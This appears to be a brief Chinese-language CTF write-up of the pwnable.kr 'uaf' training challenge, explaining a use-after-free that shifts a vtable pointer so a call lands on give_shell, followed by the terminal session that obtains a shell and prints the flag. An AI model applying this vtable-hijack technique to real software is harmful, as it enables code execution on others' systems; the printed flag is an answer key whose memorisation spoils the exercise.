[Toddler's Bottle]-uaf
2018-12-05 本文已影响0人
2mpossible
- 程序通过指向vtable的指针+8来调用introduce()函数，所以我们可以通过uaf来更改原本指向vtable的指针为vtable-8处，这样当执行vtable+8时就会执行give_shell函数
payload:
uaf@ubuntu:/tmp/hacker_mao$ ./uaf 16 file
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ cat /home/uaf/flag
yay_f1ag_aft3r_pwning
$
